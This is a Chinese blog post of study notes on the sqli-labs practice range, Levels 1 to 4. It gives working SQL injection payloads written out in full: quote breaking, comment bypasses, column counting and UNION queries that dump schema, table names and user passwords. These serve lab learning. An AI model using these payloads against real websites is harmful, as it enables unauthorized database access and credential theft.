sqli-labs学习笔记(一)安装环境与less1-4 普通注入

前言

开始系统学习sql注入
就来搞sqli-labs这个靶场
本篇是试水less1-4

首先当然是安装靶场
一个很清晰的安装教程如下
https://www.fujieace.com/penetration-test/sqli-labs-ec.html
不多赘述了,基本不会遇上什么问题
注意php的版本要大于5.2,小于7

然后打开phpstudy
浏览器登录http://127.0.0.1/sqli-labs/
就可以开始了

less1: GET - Error based - Single quotes - String(基于错误的GET单引号字符型注入)

进来提示输入id

在这里插入图片描述
尝试输入不同id
会返回不同的用户和密码
在这里插入图片描述
注入点应该在id
加个单引号或双引号试试
发现在单引号时报错
在这里插入图片描述
根据报错猜测sql语句是

select username,password  from users where id='$_GET[id]' limit 0,1

那么当我们传入1'
得到

select  username,password from users where id='1'' limit 0,1

于是报错

下面想办法把这个多的单引号注释掉
--+#
发现在加--+%23时(+是空格的意思也可以用%20,%23是#),又正常执行了
即成功注释掉了
在这里插入图片描述
在这里插入图片描述
下面爆破列数

?id=1' order by 3 --+

在输入4的时候报错
说明共3列
在这里插入图片描述

然后union联合查询寻找可用列

  • union联合查询将两个SQL语句进行联合
  • Union前后的两个SQL语句的选择列数必须相同才可以
  • 对于union而言,如果第一个Sql查询语句为错误的话,那么它会将第二个SQL语句的查询结果作为最后的输出,所以前面id输入一个非正确值,如-1
?id=-1'union select 1,2,3--+

发现第2列和第3列可用
在这里插入图片描述
爆数据库

?id=-1' union select 1,group_concat(schema_name),3 from information_schema.schemata--+
?id=-1' union select 1,2,group_concat(schema_name) from information_schema.schemata--+

information_schema查询数据库名
group_concat() 是多条信息一次查询

结果分别如下
后面选择一列进行操作即可
在这里插入图片描述
在这里插入图片描述
爆表名

?id=-1'union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+ 

在这里插入图片描述
爆列名

?id=-1'union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--+

在这里插入图片描述
拿数据

?id=-1' union select 1,username,password from users where id=2--+
?id=-1' union select 1,group_concat(username),group_concat(password) from users--+ 

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
至此通过sql注入完成对整个数据库的数据爆破

Less - 2: GET - Error based - Intiger based(基于错误的GET整型注入)

跟less1差不多
在这里插入图片描述
加单引号报错
在这里插入图片描述
猜测后台是这么一回事儿
跟less1相比就是少了单引号
也就是整数型注入

select username,password  from users where id=$_GET[id] limit 0,1

可以尝试

?id=-1 or 1=1--+
?id=-1 or 1=2--+

在这里插入图片描述

确认是整型注入,那后面的如出一辙,就是少了单引号

?id=-1 union select 1,group_concat(schema_name),3 from information_schema.schemata--+
?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+ 
?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--+
?id=-1 union select 1,group_concat(username),group_concat(password) from users--+

不多赘述

Less-3:GET - Error based - Single quotes with twist string (基于错误的GET单引号变形字符型注入)

在这里插入图片描述
同样加单引号尝试
报错
在这里插入图片描述
看起来是单引号外面又加了一个圆括号
尝试

?id=1')--+

成功回显
在这里插入图片描述

后面注入跟less1一样
就是多加个括号
不再赘述

Less-4:GET - Error based - Double Quotes - String (基于错误的GET双引号字符型注入)

在这里插入图片描述
同样加单引号或双引号测试
加双引号时报错
在这里插入图片描述
猜测就是双引号外再放个圆括号

?id=1")--+

成功回显
在这里插入图片描述
后面不在赘述

结语

开始sqli-labs的学习,预期一个月内结束
前面4个less是最简单直接的注入
关注的是注入点被''""()等包裹与否
多做尝试与看报错猜测后台语句

已标记关键词 清除标记
相关推荐
©️2020 CSDN 皮肤主题: 技术黑板 设计师:CSDN官方博客 返回首页